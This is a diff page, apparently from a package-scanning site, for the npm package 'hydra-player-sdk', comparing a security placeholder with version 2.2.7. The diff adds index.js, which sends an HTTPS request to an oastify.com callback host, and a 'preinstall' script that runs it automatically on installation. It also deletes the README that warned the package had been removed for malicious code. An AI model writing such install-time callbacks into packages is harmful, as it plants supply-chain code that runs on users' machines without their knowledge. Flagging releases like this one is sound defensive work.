hydra-player-sdk 0.0.1-security → 2.2.7
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of hydra-player-sdk might be problematic. Click here for more details.
- package/collab url +2 -0
- package/index.js +10 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/collab url
ADDED
package/index.js
ADDED
@@ -0,0 +1,10 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
const callbackUrl = 'https://oa28bdv3lt26gjh6gixv8z7mtdz4nt.oastify.com';
|
4
|
+
|
5
|
+
https.get(callbackUrl, (res) => {
|
6
|
+
console.log(`Callback response status: ${res.statusCode}`);
|
7
|
+
}).on('error', (error) => {
|
8
|
+
console.error(`Error sending callback request: ${error}`);
|
9
|
+
});
|
10
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "hydra-player-sdk",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "2.2.7",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"description": ""
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=hydra-player-sdk for more information.
|